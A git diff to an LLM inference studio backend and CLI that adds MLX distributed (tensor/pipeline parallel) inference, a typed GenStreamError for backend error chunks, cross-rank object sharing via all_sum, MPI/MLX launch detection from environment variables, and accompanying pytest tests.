-                        # Prepend image if not already present
                         has_image = any(
                             p.get("type") == "image" for p in content if isinstance(p, dict)
                         )
@@ -429,11 +499,11 @@ class MLXInferenceBackend:
         if prompt is None:
             raise RuntimeError("apply_chat_template returned None — tokenizer may be incompatible")
 
-        # Same parity fix as the transformers backend: if the template dropped the
-        # requested tools, fall back to the native template so MLX text models keep
-        # advertising them. ``self._tokenizer`` is this entry's model_info tokenizer,
-        # so probe and native render share a renderer. (The VLM path renders via the
-        # processor for image tokens and is intentionally not wired here.)
+        # Parity with the transformers backend: if the template dropped the
+        # requested tools, fall back to the native template so MLX text models
+        # keep advertising them. self._tokenizer is this entry's tokenizer, so
+        # probe and native render share a renderer. (VLM renders via the
+        # processor for image tokens and is not wired here.)
         model_info = self.models.get(self.active_model_name, {})
         prompt = render_with_native_template_fallback(
             formatted_prompt = prompt,
@@ -455,7 +525,7 @@ class MLXInferenceBackend:
             min_p = float(min_p or 0.0),
             min_tokens_to_keep = 1,
         )
-        # Repetition and/or presence penalty processors (parity with the GGUF/safetensors paths).
+        # Repetition and/or presence penalty processors (GGUF/safetensors parity).
         logits_processors = []
         if repetition_penalty is not None and float(repetition_penalty) not in (
             0.0,
@@ -496,7 +566,6 @@ class MLXInferenceBackend:
                 ):
                     final_response = response
                     token_ids.append(response.token)
-                    # Decode full sequence with skip_special_tokens
                     cumulative = self._tokenizer.decode(
                         token_ids,
                         skip_special_tokens = True,
@@ -544,8 +613,7 @@ class MLXInferenceBackend:
         )
 
         # Pick the chat-template-aware caller: processors with their own
-        # apply_chat_template + chat_template (e.g. Qwen2.5-VL) use it
-        # directly; else fall back to the nested tokenizer.
+        # apply_chat_template + chat_template (e.g. Qwen2.5-VL), else the nested tokenizer.
         chat_target = self._processor
         if (
             getattr(self._processor, "apply_chat_template", None) is None
@@ -572,10 +640,9 @@ class MLXInferenceBackend:
             len(prompt),
             image is not None,
         )
-        # mlx_vlm.stream_generate forwards **kwargs into generate_step, which
-        # builds the sampler + logits_processors internally.
-        # GOTCHA: generate_step expects ``temperature=`` (long form); ``temp=``
-        # silently falls into **kwargs and is ignored, stuck at greedy 0.0.
+        # stream_generate forwards **kwargs into generate_step (builds the
+        # sampler + logits_processors internally). GOTCHA: generate_step expects
+        # temperature= (long form); temp= is silently ignored, stuck at greedy 0.0.
         vlm_kwargs = dict(
             max_tokens = max_new_tokens,
             temperature = temperature,
@@ -589,7 +656,7 @@ class MLXInferenceBackend:
         )
         if presence_penalty:
             # Presence needs a custom processor: pass the full list (repetition +
-            # presence) instead of the repetition_penalty shortcut so both apply once.
+            # presence) instead of the repetition_penalty shortcut so both apply.
             from mlx_lm.sample_utils import make_logits_processors
 
             _vlm_processors = []
@@ -634,7 +701,7 @@ class MLXInferenceBackend:
         cancel_event = None,
         **gen_kwargs,
     ) -> Generator[str, None, None]:
-        # MLX LoRA adapter toggling not yet supported — generate normally
+        # MLX LoRA adapter toggling not yet supported; generate normally
         yield from self.generate_chat_response(cancel_event = cancel_event, **gen_kwargs)
 
     def reset_generation_state(self):
diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py
index cf5d24c367..4fa0d3ed26 100644
--- a/studio/backend/core/inference/orchestrator.py
+++ b/studio/backend/core/inference/orchestrator.py
@@ -50,6 +50,18 @@ _DISPATCH_DRAIN_TIMEOUT = 5.0
 _UNLOAD_GEN_LOCK_TIMEOUT = 15.0
 
 
+class GenStreamError(str):
+    """A stream chunk carrying a real backend/generation error, not model text.
+
+    Subclasses str so existing display/logging consumers are unaffected, while
+    callers that must abort a distributed run on error (raise_on_streamed_error)
+    can distinguish a real error from model output whose visible text starts with
+    "Error:" by checking isinstance(chunk, GenStreamError).
+    """
+
+    __slots__ = ()
+
+
 class InferenceOrchestrator:
     """
     Inference backend orchestrator — subprocess-based.
@@ -482,13 +494,13 @@ class InferenceOrchestrator:
         initial_resp_queue = self._resp_queue
         while True:
             if self._proc is not initial_proc or self._resp_queue is not initial_resp_queue:
-                yield f"Error: {self._subprocess_crash_message(crash_context)}"
+                yield GenStreamError(f"Error: {self._subprocess_crash_message(crash_context)}")
                 return
             resp = read_one(read_timeout)
             if resp is None:
                 # Check subprocess health
                 if not self._ensure_subprocess_alive():
-                    yield f"Error: {self._subprocess_crash_message(crash_context)}"
+                    yield GenStreamError(f"Error: {self._subprocess_crash_message(crash_context)}")
                     return
                 continue
 
@@ -498,7 +510,7 @@ class InferenceOrchestrator:
             # Subprocess-level error (no request_id); request-scoped failures
             # arrive as gen_error below.
             if rtype == "error" and not resp.get("request_id"):
-                yield f"Error: {resp.get('error', 'Unknown error')}"
+                yield GenStreamError(f"Error: {resp.get('error', 'Unknown error')}")
                 return
 
             if rtype == "token":
@@ -513,7 +525,7 @@ class InferenceOrchestrator:
                     stats_holder["stats"] = resp.get("stats")
                 return
             elif rtype == "gen_error":
-                yield f"Error: {resp.get('error', 'Unknown error')}"
+                yield GenStreamError(f"Error: {resp.get('error', 'Unknown error')}")
                 return
 
     # ------------------------------------------------------------------
@@ -640,11 +652,11 @@ class InferenceOrchestrator:
         GPU work stays serialized; this only avoids orchestrator lock contention.
         """
         if not self._ensure_subprocess_alive():
-            yield "Error: Inference subprocess is not running"
+            yield GenStreamError("Error: Inference subprocess is not running")
             return
 
         if not self.active_model_name:
-            yield "Error: No active model"
+            yield GenStreamError("Error: No active model")
             return
         # Latch the target model so the recheck below can detect a switch that completed
         # between _start_dispatcher and mailbox registration (mirrors the locked path's
@@ -655,7 +667,7 @@ class InferenceOrchestrator:
         # so without this early-out a compare request would enqueue a generate on the
         # outgoing model and delay the switch.
         if self._unload_pending:
-            yield "Error: model is being unloaded"
+            yield GenStreamError("Error: model is being unloaded")
             return
 
         # Ensure the dispatcher runs. _start_dispatcher serializes concurrent starters under
@@ -727,7 +739,7 @@ class InferenceOrchestrator:
             # _stop_dispatcher joins the dispatcher, which itself takes that lock.
             if orphaned_dispatcher:
                 self._stop_dispatcher()
-            yield "Error: model is being unloaded"
+            yield GenStreamError("Error: model is being unloaded")
             return
 
         try:
@@ -735,7 +747,7 @@ class InferenceOrchestrator:
         except RuntimeError as exc:
             with self._mailbox_lock:
                 self._mailboxes.pop(request_id, None)
-            yield f"Error: {exc}"
+            yield GenStreamError(f"Error: {exc}")
             return
 
         def read_mailbox(timeout):
@@ -813,6 +825,59 @@ class InferenceOrchestrator:
         self._stop_dispatcher()
         return True
 
+    def share_distributed_object(
+        self,
+        obj,
+        timeout: Optional[float] = 300.0,
+    ):
+        """Share a small object through the worker's MLX distributed group."""
+        if not self._ensure_subprocess_alive():
+            raise RuntimeError("Inference subprocess is not running")
+
+        self._wait_dispatcher_idle()
+        with self._mailbox_lock:
+            if self._mailboxes:
+                raise RuntimeError(
+                    "Cannot share distributed objects while compare requests are active"
+                )
+        request_id = str(uuid.uuid4())
+        cmd = {
+            "type": "share_object",
+            "request_id": request_id,
+            "object": obj,
+        }
+
+        with self._gen_lock:
+            self._send_cmd(cmd)
+            deadline = None if timeout is None else time.monotonic() + timeout
+            while deadline is None or time.monotonic() < deadline:
+                remaining = 1.0 if deadline is None else max(0.1, deadline - time.monotonic())
+                resp = self._read_resp(timeout = min(remaining, 1.0))
+                if resp is None:
+                    if not self._ensure_subprocess_alive():
+                        raise RuntimeError(self._subprocess_crash_message("sharing chat turn"))
+                    continue
+
+                rtype = resp.get("type", "")
+                rid = resp.get("request_id")
+                if rid and rid != request_id:
+                    logger.debug(
+                        "Skipping response for request_id=%s while sharing request_id=%s",
+                        rid,
+                        request_id,
+                    )
+                    continue
+                if rtype == "shared":
+                    return resp.get("object")
+                if rtype == "share_error":
+                    raise RuntimeError(resp.get("error", "Failed to share object"))
+                if rtype == "error":
+                    raise RuntimeError(resp.get("error", "Subprocess error"))
+                if rtype == "status":
+                    continue
+
+            raise RuntimeError("Timeout waiting for distributed object share")
+
     # ------------------------------------------------------------------
     # Public API — same interface as InferenceBackend
     # ------------------------------------------------------------------
@@ -828,6 +893,8 @@ class InferenceOrchestrator:
         approved_remote_code_fingerprint: Optional[str] = None,
         gpu_ids: Optional[list[int]] = None,
         subject: Optional[str] = None,
+        tensor_parallel: bool = False,
+        mlx_distributed: bool = False,
     ) -> bool:
         """Load a model for inference.
 
@@ -853,6 +920,11 @@ class InferenceOrchestrator:
                 "approved_remote_code_fingerprint": approved_remote_code_fingerprint,
                 "subject": subject,
                 "gpu_ids": gpu_ids,
+                "tensor_parallel": bool(tensor_parallel),
+                "mlx_distributed": bool(mlx_distributed),
+                "mlx_parallel_mode": ("tensor" if tensor_parallel else "pipeline")
+                if mlx_distributed
+                else None,
             }
             resolved_gpu_ids, gpu_selection = prepare_gpu_selection(
                 gpu_ids,
@@ -1338,11 +1410,11 @@ class InferenceOrchestrator:
         readers don't consume each other's tokens off the shared resp_queue.
         """
         if not self._ensure_subprocess_alive():
-            yield "Error: Inference subprocess is not running"
+            yield GenStreamError("Error: Inference subprocess is not running")
             return
 
         if not self.active_model_name:
-            yield "Error: No active model"
+            yield GenStreamError("Error: No active model")
             return
         expected_model = self.active_model_name
 
@@ -1359,7 +1431,7 @@ class InferenceOrchestrator:
             # so we never generate on the wrong one.
             if self._unload_pending or self.active_model_name != expected_model:
                 # Won the lock handoff during a switch; don't start on the outgoing model.
-                yield "Error: model is being unloaded"
+                yield GenStreamError("Error: model is being unloaded")
                 return
             request_id = str(uuid.uuid4())
             image_b64 = self._pil_to_base64(image) if image is not None else None
@@ -1385,7 +1457,7 @@ class InferenceOrchestrator:
             try:
                 self._send_cmd(cmd)
             except RuntimeError as exc:
-                yield f"Error: {exc}"
+                yield GenStreamError(f"Error: {exc}")
                 return
 
             yield from self._consume_token_stream(
@@ -1544,10 +1616,10 @@ class InferenceOrchestrator:
     ) -> Generator[str, None, None]:
         """Shared inner logic for audio input generation (Whisper + ASR)."""
         if not self._ensure_subprocess_alive():
-            yield "Error: Inference subprocess is not running"
+            yield GenStreamError("Error: Inference subprocess is not running")
             return
         if not self.active_model_name:
-            yield "Error: No active model"
+            yield GenStreamError("Error: No active model")
             return
         expected_model = self.active_model_name
 
@@ -1556,7 +1628,7 @@ class InferenceOrchestrator:
             # cleared or swapped the model while we waited.
             if self._unload_pending or self.active_model_name != expected_model:
                 # Won the lock handoff during a switch; don't start on the outgoing model.
-                yield "Error: model is being unloaded"
+                yield GenStreamError("Error: model is being unloaded")
                 return
             request_id = str(uuid.uuid4())
 
@@ -1583,7 +1655,7 @@ class InferenceOrchestrator:
             try:
                 self._send_cmd(cmd)
             except RuntimeError as exc:
-                yield f"Error: {exc}"
+                yield GenStreamError(f"Error: {exc}")
                 return
 
             yield from self._consume_token_stream(
diff --git a/studio/backend/core/inference/worker.py b/studio/backend/core/inference/worker.py
index d4b102e422..05dee39283 100644
--- a/studio/backend/core/inference/worker.py
+++ b/studio/backend/core/inference/worker.py
@@ -13,6 +13,7 @@ mp.Queue, and exits on shutdown or unload. Pattern follows core/training/worker.
 from __future__ import annotations
 
 import base64
+import json
 from loggers import get_logger
 import os
 import queue as _queue
@@ -26,6 +27,9 @@ from typing import Any
 logger = get_logger(__name__)
 from utils.hardware import apply_gpu_ids
 
+_SHARE_OBJECT_MAX_BYTES = 1 << 20
+_SHARE_OBJECT_ERROR_SIZE = -1
+
 # studio/backend root, prepended to sys.path so the spawned subprocess can
 # import the utils/core packages.
 _BACKEND_PATH = str(Path(__file__).resolve().parent.parent.parent)
@@ -75,6 +79,17 @@ def _send_response(resp_queue: Any, response: dict) -> None:
         logger.error("Failed to send response: %s", exc)
 
 
+def _encode_share_object(obj: Any) -> bytes:
+    data = json.dumps(obj, separators = (",", ":"), ensure_ascii = False).encode("utf-8")
+    if len(data) > _SHARE_OBJECT_MAX_BYTES:
+        raise ValueError("Distributed object share payload is too large")
+    return data
+
+
+def _decode_share_object(data: Any) -> Any:
+    return json.loads(bytes(data.tolist()).decode("utf-8"))
+
+
 def _clean_token(value: str | None) -> str | None:
     """Normalize an HF token: blank or whitespace-only becomes None."""
     return value if value and value.strip() else None
@@ -329,14 +344,18 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
             xet_disabled = os.environ.get("HF_HUB_DISABLE_XET") == "1",
         )
         try:
-            success = backend.load_model(
-                config = mc,
-                max_seq_length = config.get("max_seq_length", 2048),
-                load_in_4bit = load_in_4bit,
-                hf_token = hf_token,
-                trust_remote_code = trust_remote_code,
-                gpu_ids = config.get("resolved_gpu_ids"),
-            )
+            load_kwargs = {
+                "config": mc,
+                "max_seq_length": config.get("max_seq_length", 2048),
+                "load_in_4bit": load_in_4bit,
+                "hf_token": hf_token,
+                "trust_remote_code": trust_remote_code,
+                "gpu_ids": config.get("resolved_gpu_ids"),
+            }
+            if getattr(backend, "device", None) == "mlx":
+                load_kwargs["parallel_mode"] = config.get("mlx_parallel_mode")
+                load_kwargs["distributed_group"] = config.get("_mlx_distributed_group")
+            success = backend.load_model(**load_kwargs)
         finally:
             heartbeat_stop.set()
 
@@ -521,6 +540,67 @@ def _handle_generate(backend, cmd: dict, resp_queue: Any, cancel_event) -> None:
         )
 
 
+def _handle_share_object(backend, cmd: dict, resp_queue: Any) -> None:
+    """Share a small Python object across MLX distributed ranks."""
+    request_id = cmd.get("request_id", "")
+    group = getattr(backend, "_distributed_group", None)
+    rank = int(getattr(backend, "_distributed_rank", 0) or 0)
+    world_size = int(getattr(backend, "_distributed_world_size", 1) or 1)
+    obj = cmd.get("object")
+
+    try:
+        if group is None or world_size <= 1:
+            shared = obj
+        else:
+            import mlx.core as mx
+            if rank == 0:
+                if obj is None:
+                    mx.eval(mx.distributed.all_sum(mx.array(0), group = group))
+                    shared = None
+                else:
+                    try:
+                        data = mx.array(_encode_share_object(obj), dtype = mx.uint8)
+                    except Exception:
+                        mx.eval(
+                            mx.distributed.all_sum(
+                                mx.array(_SHARE_OBJECT_ERROR_SIZE),
+                                group = group,
+                            )
+                        )
+                        raise
+                    mx.eval(mx.distributed.all_sum(mx.array(data.size), group = group))
+                    mx.eval(mx.distributed.all_sum(data, group = group))
+                    shared = obj
+            else:
+                size = int(mx.distributed.all_sum(mx.array(0), group = group).item())
+                if size == _SHARE_OBJECT_ERROR_SIZE:
+                    raise RuntimeError("Failed to share distributed object")
+                if size == 0:
+                    shared = None
+                else:
+                    data = mx.zeros(size, dtype = mx.uint8)
+                    data = mx.distributed.all_sum(data, group = group)
+                    shared = _decode_share_object(data)
+        _send_response(
+            resp_queue,
+            {
+                "type": "shared",
+                "request_id": request_id,
+                "object": shared,
+            },
+        )
+    except Exception as exc:
+        _send_response(
+            resp_queue,
+            {
+                "type": "share_error",
+                "request_id": request_id,
+                "error": str(exc),
+                "stack": traceback.format_exc(limit = 20),
+            },
+        )
+
+
 def _handle_generate_audio(backend, cmd: dict, resp_queue: Any) -> None:
     """Handle TTS audio generation — returns WAV bytes + sample_rate."""
     request_id = cmd.get("request_id", "")
@@ -720,9 +800,29 @@ def run_inference_process(
                 exc,
             )
         try:
-            from core.inference.mlx_inference import MLXInferenceBackend
+            from core.inference.mlx_inference import MLXInferenceBackend, _init_mlx_distributed
 
             backend = MLXInferenceBackend()
+            if config.get("mlx_distributed"):
+                group, rank, size = _init_mlx_distributed()
+                config["_mlx_distributed_group"] = group
+                if size <= 1:
+                    # A singleton group (MLX built without distributed support,
+                    # or an invalid launch env/hostfile) would leave nonzero ranks
+                    # looping forever on share_distributed_object. Fail the load
+                    # instead of silently continuing without sharding.
+                    raise RuntimeError(
+                        "MLX distributed launch requested but initialized a singleton "
+                        "group (size 1). Ensure the installed MLX has distributed "
+                        "support and the launch environment/hostfile is valid, or run "
+                        "without distributed."
+                    )
+                logger.info(
+                    "MLX distributed initialized in worker: rank=%s size=%s mode=%s",
+                    rank,
+                    size,
+                    config.get("mlx_parallel_mode"),
+                )
             _send_response(
                 resp_queue,
                 {"type": "status", "message": "Loading model..."},
@@ -764,6 +864,8 @@ def run_inference_process(
                     if _drain_skip_generate(cmd, resp_queue, drain_event):
                         continue
                     _handle_generate(backend, cmd, resp_queue, cancel_event)
+                elif cmd_type == "share_object":
+                    _handle_share_object(backend, cmd, resp_queue)
                 elif cmd_type == "load":
                     if backend.active_model_name:
                         backend.unload_model(backend.active_model_name)
@@ -977,6 +1079,9 @@ def run_inference_process(
                     continue
                 _handle_generate(backend, cmd, resp_queue, cancel_event)
 
+            elif cmd_type == "share_object":
+                _handle_share_object(backend, cmd, resp_queue)
+
             elif cmd_type == "load":
                 if backend.active_model_name:
                     backend.unload_model(backend.active_model_name)
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index ce755ae1fb..d9901a5b2e 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -40,6 +40,43 @@ def _positive_int_or_none(value: Any) -> Optional[int]:
     return value_int if value_int > 0 else None
 
 
+def _nonnegative_int_or_none(value: Any) -> Optional[int]:
+    if isinstance(value, bool):
+        return None
+    try:
+        value_int = int(value)
+    except (TypeError, ValueError):
+        return None
+    return value_int if value_int >= 0 else None
+
+
+_MLX_MPI_DISTRIBUTED_ENV_PAIRS = (
+    ("OMPI_COMM_WORLD_RANK", "OMPI_COMM_WORLD_SIZE"),
+    ("PMI_RANK", "PMI_SIZE"),
+    ("PMIX_RANK", "PMIX_SIZE"),
+    ("MPI_RANK", "MPI_WORLD_SIZE"),
+    ("MV2_COMM_WORLD_RANK", "MV2_COMM_WORLD_SIZE"),
+)
+
+
+def _mlx_distributed_launch_detected() -> bool:
+    if _nonnegative_int_or_none(os.environ.get("MLX_RANK")) is not None:
+        world_size = _positive_int_or_none(os.environ.get("MLX_WORLD_SIZE"))
+        if world_size is not None and world_size > 1:
+            return True
+        return bool(
+            os.environ.get("MLX_HOSTFILE")
+            or os.environ.get("MLX_IBV_DEVICES")
+            or os.environ.get("MLX_JACCL_COORDINATOR")
+            or (os.environ.get("NCCL_HOST_IP") and os.environ.get("NCCL_PORT"))
+        )
+    return any(
+        _nonnegative_int_or_none(os.environ.get(rank_env)) is not None
+        and (_positive_int_or_none(os.environ.get(size_env)) or 0) > 1
+        for rank_env, size_env in _MLX_MPI_DISTRIBUTED_ENV_PAIRS
+    )
+
+
 def _install_httpcore_asyncgen_silencer() -> None:
     """Silence benign httpx/httpcore asyncgen GC noise on Python 3.13.
 
@@ -3426,6 +3463,15 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre
                 status_code = 400,
                 detail = "gpu_ids is not supported for GGUF models yet.",
             )
+        if not config.is_gguf and _mlx_distributed_launch_detected():
+            raise HTTPException(
+                status_code = 400,
+                detail = (
+                    "Studio does not support distributed MLX inference under "
+                    "mlx.launch. Use `mlx.launch ... unsloth chat` or run Studio "
+                    "without the distributed launcher."
+                ),
+            )
 
         # Effective quantization (LoRA can flip 4-bit -> 16-bit); guard + load reuse it.
         effective_load_in_4bit = _effective_load_in_4bit(config, request.load_in_4bit)
diff --git a/studio/backend/tests/test_mlx_inference_backend.py b/studio/backend/tests/test_mlx_inference_backend.py
index ac4088fb25..55a3198a6b 100644
--- a/studio/backend/tests/test_mlx_inference_backend.py
+++ b/studio/backend/tests/test_mlx_inference_backend.py
@@ -4,6 +4,8 @@ import sys
 import types
 from types import SimpleNamespace
 
+import pytest
+
 
 class _DummyMetal:
     @staticmethod
@@ -185,6 +187,129 @@ def test_mlx_inference_vlm_lora_uses_unsloth_loader_without_native_adapter_rewri
     assert isinstance(backend._tokenizer, _DummyTokenizer)
 
 
+def test_mlx_inference_distributed_vlm_forwards_group_to_fast_mlx(monkeypatch):
+    _install_fake_mlx(monkeypatch)
+    calls = []
+    _install_fake_fast_mlx(monkeypatch, calls)
+    from core.inference.mlx_inference import MLXInferenceBackend
+
+    group = SimpleNamespace(size = lambda: 2, rank = lambda: 0)
+    config = SimpleNamespace(identifier = "fake/vlm", is_vision = True, is_lora = False)
+    for mode, group_key in (("tensor", "tensor_group"), ("pipeline", "pipeline_group")):
+        calls.clear()
+        assert MLXInferenceBackend().load_model(config, parallel_mode = mode, distributed_group = group)
+        _, kwargs = calls.pop()
+        assert kwargs["text_only"] is False and kwargs[group_key] is group
+
+    calls.clear()
+    singleton = SimpleNamespace(size = lambda: 1, rank = lambda: 0)
+    assert MLXInferenceBackend().load_model(
+        config, parallel_mode = "tensor", distributed_group = singleton
+    )
+    assert not {"tensor_group", "pipeline_group"} & set(calls.pop()[1])
+
+    config = SimpleNamespace(identifier = "fake/adapter", is_vision = False, is_lora = True)
+    with pytest.raises(ValueError, match = "LoRA adapter repos"):
+        MLXInferenceBackend().load_model(config, parallel_mode = "tensor", distributed_group = group)
+
+
+@pytest.mark.parametrize("accepts_backend", (True, False))
+def test_mlx_distributed_init_selects_jaccl_backend(monkeypatch, accepts_backend):
+    _install_fake_mlx(monkeypatch)
+    from core.inference.mlx_inference import _init_mlx_distributed
+
+    group = SimpleNamespace(rank = lambda: 1, size = lambda: 2)
+    calls = []
+
+    def _init(**kwargs):
+        calls.append(kwargs)
+        if kwargs and not accepts_backend:
+            raise TypeError("backend keyword unsupported")
+        return group
+
+    sys.modules["mlx.core"].distributed = SimpleNamespace(init = _init)
+    monkeypatch.setenv("MLX_JACCL_COORDINATOR", "127.0.0.1:12345")
+    monkeypatch.setenv("MLX_IBV_DEVICES", "/tmp/devices.json")
+
+    assert _init_mlx_distributed() == (group, 1, 2)
+    assert calls == ([{"backend": "jaccl"}] if accepts_backend else [{"backend": "jaccl"}, {}])
+
+
+def test_worker_share_object_receives_distributed_payload(monkeypatch):
+    from core.inference import worker
+
+    shared_obj = {"type": "turn", "text": "hi"}
+    payload = worker._encode_share_object(shared_obj)
+
+    def _array(value):
+        val = value.item() if hasattr(value, "item") else value
+        return SimpleNamespace(
+            item = lambda: val,
+            tolist = lambda: list(val) if hasattr(val, "__iter__") else [val],
+        )
+
+    mlx_pkg = types.ModuleType("mlx")
+    mlx_core = types.ModuleType("mlx.core")
+    mlx_core.uint8 = "uint8"
+    mlx_core.array = _array
+    mlx_core.zeros = lambda *_a, **_k: _array([])
+
+    def _all_sum(value, group = None):
+        value = value.item() if hasattr(value, "item") else value
+        return _array(len(payload)) if value == 0 else _array(payload)
+
+    mlx_core.distributed = SimpleNamespace(all_sum = _all_sum)
+    mlx_pkg.core = mlx_core
+    monkeypatch.setitem(sys.modules, "mlx", mlx_pkg)
+    monkeypatch.setitem(sys.modules, "mlx.core", mlx_core)
+
+    responses = []
+    worker._handle_share_object(
+        SimpleNamespace(
+            _distributed_group = object(),
+            _distributed_rank = 1,
+            _distributed_world_size = 2,
+        ),
+        {"type": "share_object", "request_id": "rid", "object": None},
+        SimpleNamespace(put = responses.append),
+    )
+
+    response = responses[0]
+    assert response["object"] == shared_obj
+
+
+def test_worker_share_object_oversize_notifies_peers(monkeypatch):
+    from core.inference import worker
+
+    calls = []
+
+    mlx_pkg = types.ModuleType("mlx")
+    mlx_core = types.ModuleType("mlx.core")
+    mlx_core.array = lambda value, **_kwargs: SimpleNamespace(item = lambda: value)
+    mlx_core.eval = lambda value: value
+    mlx_core.distributed = SimpleNamespace(
+        all_sum = lambda value, group = None: calls.append(value.item()) or value
+    )
+    mlx_pkg.core = mlx_core
+    monkeypatch.setitem(sys.modules, "mlx", mlx_pkg)
+    monkeypatch.setitem(sys.modules, "mlx.core", mlx_core)
+    monkeypatch.setattr(worker, "_SHARE_OBJECT_MAX_BYTES", 8)
+
+    responses = []
+    worker._handle_share_object(
+        SimpleNamespace(
+            _distributed_group = object(),
+            _distributed_rank = 0,
+            _distributed_world_size = 2,
+        ),
+        {"type": "share_object", "request_id": "rid", "object": {"text": "too long"}},
+        SimpleNamespace(put = responses.append),
+    )
+
+    assert calls == [worker._SHARE_OBJECT_ERROR_SIZE]
+    assert responses[0]["type"] == "share_error"
+
+
 # Regression: generate_chat_response must accept the four template kwargs
 # (tools / enable_thinking / reasoning_effort / preserve_thinking) so the route
 # layer can forward UI toggles. The old signature raised
diff --git a/unsloth_cli/_inference.py b/unsloth_cli/_inference.py
index e8a3414d73..c3b188710e 100644
--- a/unsloth_cli/_inference.py
+++ b/unsloth_cli/_inference.py
@@ -4,9 +4,11 @@
 """Model loading and streaming shared by `inference` and `chat`."""
 
 import asyncio
+import json
 import os
 import re
 import sys
+from contextlib import contextmanager, redirect_stderr, redirect_stdout
 from pathlib import Path
 from typing import List, Optional
 
@@ -14,10 +16,18 @@ import typer
 
 _THINK_OPEN = "<think>"
 _THINK_BLOCK = re.compile(rf"{re.escape(_THINK_OPEN)}.*?</think>", re.DOTALL)
+_STREAMED_ERROR_PREFIX = "Error: "
 
 # Cloudflare (in front of remote Studio proxies like RunPod) 403s the default
 # "Python-urllib/X.Y" User-Agent as a bot; send a real one on every request.
 _USER_AGENT = "unsloth-cli"
+_MPI_ENV_PAIRS = (
+    ("OMPI_COMM_WORLD_RANK", "OMPI_COMM_WORLD_SIZE"),
+    ("PMI_RANK", "PMI_SIZE"),
+    ("PMIX_RANK", "PMIX_SIZE"),
+    ("MPI_RANK", "MPI_WORLD_SIZE"),
+    ("MV2_COMM_WORLD_RANK", "MV2_COMM_WORLD_SIZE"),
+)
 
 # Built lazily; urllib stays function-local to match this module.
 _no_redirect_opener = None
@@ -61,6 +71,108 @@ def configure_quiet_logging() -> None:
     os.environ.setdefault("HF_HUB_DISABLE_PROGRESS_BARS", "1")
 
 
+def _parse_nonnegative_int(value: Optional[str]) -> Optional[int]:
+    if value is None:
+        return None
+    try:
+        parsed = int(value)
+    except (TypeError, ValueError):
+        return None
+    return parsed if parsed >= 0 else None
+
+
+def _first_mpi_env_pair() -> tuple[Optional[int], Optional[int]]:
+    for rank_name, size_name in _MPI_ENV_PAIRS:
+        rank = _parse_nonnegative_int(os.environ.get(rank_name))
+        world_size = _parse_nonnegative_int(os.environ.get(size_name))
+        if rank is not None and world_size is not None and world_size > 1 and rank < world_size:
+            return rank, world_size
+    return None, None
+
+
+def _json_rank_count_from_env(name: str) -> Optional[int]:
+    value = os.environ.get(name)
+    if not value:
+        return None
+    try:
+        if value.lstrip().startswith(("[", "{")):
+            data = json.loads(value)
+        else:
+            with open(value, "r") as f:
+                data = json.load(f)
+    except (OSError, json.JSONDecodeError):
+        return None
+    if isinstance(data, list):
+        return len(data)
+    if isinstance(data, dict) and isinstance(data.get("hosts"), list):
+        return len(data["hosts"])
+    return None
+
+
+def mlx_distributed_info() -> tuple[bool, int, Optional[int]]:
+    """Return launch-context metadata without initializing MLX distributed."""
+    rank = _parse_nonnegative_int(os.environ.get("MLX_RANK"))
+    world_size = _parse_nonnegative_int(os.environ.get("MLX_WORLD_SIZE"))
+    if rank is not None:
+        if (
+            world_size is not None
+            and world_size > 1
+            and rank < world_size
+            and os.environ.get("NCCL_HOST_IP")
+            and os.environ.get("NCCL_PORT")
+        ):
+            return True, rank, world_size
+        inferred_size = _json_rank_count_from_env("MLX_HOSTFILE")
+        if inferred_size is not None and inferred_size > 1 and rank < inferred_size:
+            return True, rank, inferred_size
+        inferred_size = _json_rank_count_from_env("MLX_IBV_DEVICES")
+        if (
+            inferred_size is not None
+            and inferred_size > 1
+            and rank < inferred_size
+            and os.environ.get("MLX_JACCL_COORDINATOR")
+        ):
+            return True, rank, inferred_size
+        return False, 0, None
+
+    mpi_rank, mpi_world_size = _first_mpi_env_pair()
+    return mpi_rank is not None, mpi_rank or 0, mpi_world_size
+
+
+def mlx_distributed_uses_mpi() -> bool:
+    """Whether the current distributed context was launched through MPI."""
+    return (
+        _parse_nonnegative_int(os.environ.get("MLX_RANK")) is None
+        and _first_mpi_env_pair()[0] is not None
+    )
+
+
+@contextmanager
+def quiet_if_nonzero_mlx_rank():
+    """Silence parent and child-process stdout/stderr on nonzero ranks."""
+    if mlx_distributed_info()[1] == 0:
+        yield
+        return
+
+    sys.stdout.flush()
+    sys.stderr.flush()
+    saved_stdout_fd = os.dup(1)
+    saved_stderr_fd = os.dup(2)
+    with open(os.devnull, "w") as devnull:
+        try:
+            os.dup2(devnull.fileno(), 1)
+            os.dup2(devnull.fileno(), 2)
+            with redirect_stdout(devnull), redirect_stderr(devnull):
+                yield
+        finally:
+            sys.stdout.flush()
+            sys.stderr.flush()
+            os.dup2(saved_stdout_fd, 1)
+            os.dup2(saved_stderr_fd, 2)
+            os.close(saved_stdout_fd)
+            os.close(saved_stderr_fd)
+
+
 def visible_text(text: str, show_thinking: bool) -> str:
     if show_thinking:
         return text
@@ -120,6 +232,21 @@ def collect_stream(stream, show_thinking: bool) -> str:
     return visible_text(raw, show_thinking)
 
 
+def raise_on_streamed_error(stream):
+    # Match real backend errors by type (GenStreamError), not the "Error:" text
+    # prefix, so a completion whose text opens with "Error:" is not misread as a
+    # failure that aborts a distributed run.
+    try:
+        ensure_studio_backend_path()
+        from core.inference.orchestrator import GenStreamError
+    except Exception:
+        GenStreamError = None
+    for chunk in stream:
+        if GenStreamError is not None and isinstance(chunk, GenStreamError):
+            raise RuntimeError(str(chunk)[len(_STREAMED_ERROR_PREFIX) :].strip() or "Unknown error")
+        yield chunk
+
+
 def render_columns(
     left_label: str,
     left_text: str,
@@ -200,6 +327,19 @@ class ChatBackend:
         except Exception:
             pass
 
+    def share_distributed_object(
+        self,
+        obj,
+        *,
+        timeout = 300.0,
+    ):
+        if self._kind != "unsloth" or not hasattr(self._backend, "share_distributed_object"):
+            raise RuntimeError(
+                "Distributed MLX chat requires the Unsloth MLX backend; "
+                f"backend '{self._kind}' cannot broadcast chat turns."
+            )
+        return self._backend.share_distributed_object(obj, timeout = timeout)
+
 
 def resolve_model_config(model: str, *, hf_token: Optional[str]):
     ensure_studio_backend_path()
@@ -293,36 +433,59 @@ def load_chat_backend(
     fresh_backend uses a private orchestrator so a second model (compare's
     base column) can run alongside the main one.
     """
